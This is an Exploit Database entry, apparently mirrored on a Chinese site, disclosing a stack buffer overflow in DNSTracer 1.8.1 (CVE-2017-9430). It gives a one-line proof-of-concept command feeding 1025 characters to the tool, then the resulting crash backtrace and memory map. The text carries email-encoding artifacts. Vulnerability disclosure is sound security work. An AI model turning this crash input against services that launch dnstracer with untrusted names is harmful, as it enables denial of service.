DNSTracer 1.8.1 – Buffer Overflow (PoC)

• Exploit Database
• 30 阅读

• 作者： FarazPajohan
  日期： 2017-06-05
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/42115/

• ################
  #Exploit Title: DNSTracer Stack-based Buffer Overflow
  #CVE: CVE-2017-9430
  #CWE: CWE-119
  #Exploit Author: Hosein Askari (FarazPajohan)
  #Vendor HomePage: http://www.mavetju.org
  #Version : 1.8.1
  #Tested on: Parrot OS
  #Date: 04-06-2017
  #Category: Application
  #Author Mail : hosein.askari@aol.com
  #Description:Stack-based buffer overflow in dnstracer through 1.9 allows =
  attackersto cause a denial of service (application crash) or possibly hav=
  e unspecified other impact via a command line with a long name argument tha=
  t is mishandled in a strcpy call for argv[0]. An example threat model is a =
  web application that launches dnstracer with an untrusted name string.
  ###############################
  
  #dnstracer -v $(python -c 'print "A"*1025')
  *** buffer overflow detected ***: dnstracer terminated
  =3D=3D=3D=3D=3D=3D=3D Backtrace: =3D=3D=3D=3D=3D=3D=3D=3D=3D
  /lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7ff6e79edbcb]
  /lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7ff6e7a76037]
  /lib/x86_64-linux-gnu/libc.so.6(+0xf7170)[0x7ff6e7a74170]
  /lib/x86_64-linux-gnu/libc.so.6(+0xf64d2)[0x7ff6e7a734d2]
  dnstracer(+0x2c8f)[0x5634368aac8f]
  /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7ff6e799d2b1]
  dnstracer(+0x2fca)[0x5634368aafca]
  =3D=3D=3D=3D=3D=3D=3D Memory map: =3D=3D=3D=3D=3D=3D=3D=3D
  5634368a8000-5634368b0000 r-xp 00000000 08:01 4850311/u=
  sr/bin/dnstracer
  563436aaf000-563436ab0000 r--p 00007000 08:01 4850311/u=
  sr/bin/dnstracer
  563436ab0000-563436ab1000 rw-p 00008000 08:01 4850311/u=
  sr/bin/dnstracer
  563436ab1000-563436ab3000 rw-p 00000000 00:00 0=20
  563436c1d000-563436c3e000 rw-p 00000000 00:00 0[h=
  eap]
  7ff6e7766000-7ff6e777c000 r-xp 00000000 08:01 25823192 /l=
  ib/x86_64-linux-gnu/libgcc_s.so.1
  7ff6e777c000-7ff6e797b000 ---p 00016000 08:01 25823192 /l=
  ib/x86_64-linux-gnu/libgcc_s.so.1
  7ff6e797b000-7ff6e797c000 r--p 00015000 08:01 25823192 /l=
  ib/x86_64-linux-gnu/libgcc_s.so.1
  7ff6e797c000-7ff6e797d000 rw-p 00016000 08:01 25823192 /l=
  ib/x86_64-linux-gnu/libgcc_s.so.1
  7ff6e797d000-7ff6e7b12000 r-xp 00000000 08:01 25823976 /l=
  ib/x86_64-linux-gnu/libc-2.24.so
  7ff6e7b12000-7ff6e7d11000 ---p 00195000 08:01 25823976 /l=
  ib/x86_64-linux-gnu/libc-2.24.so
  7ff6e7d11000-7ff6e7d15000 r--p 00194000 08:01 25823976 /l=
  ib/x86_64-linux-gnu/libc-2.24.so
  7ff6e7d15000-7ff6e7d17000 rw-p 00198000 08:01 25823976 /l=
  ib/x86_64-linux-gnu/libc-2.24.so
  7ff6e7d17000-7ff6e7d1b000 rw-p 00000000 00:00 0=20
  7ff6e7d1b000-7ff6e7d3e000 r-xp 00000000 08:01 25823455 /l=
  ib/x86_64-linux-gnu/ld-2.24.so
  7ff6e7f13000-7ff6e7f15000 rw-p 00000000 00:00 0=20
  7ff6e7f3a000-7ff6e7f3e000 rw-p 00000000 00:00 0=20
  7ff6e7f3e000-7ff6e7f3f000 r--p 00023000 08:01 25823455 /l=
  ib/x86_64-linux-gnu/ld-2.24.so
  7ff6e7f3f000-7ff6e7f40000 rw-p 00024000 08:01 25823455 /l=
  ib/x86_64-linux-gnu/ld-2.24.so
  7ff6e7f40000-7ff6e7f41000 rw-p 00000000 00:00 0=20
  7ffded62d000-7ffded64e000 rw-p 00000000 00:00 0[s=
  tack]
  7ffded767000-7ffded769000 r--p 00000000 00:00 0[v=
  var]
  7ffded769000-7ffded76b000 r-xp 00000000 00:00 0[v=
  dso]
  ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0[v=
  syscall]
  Aborted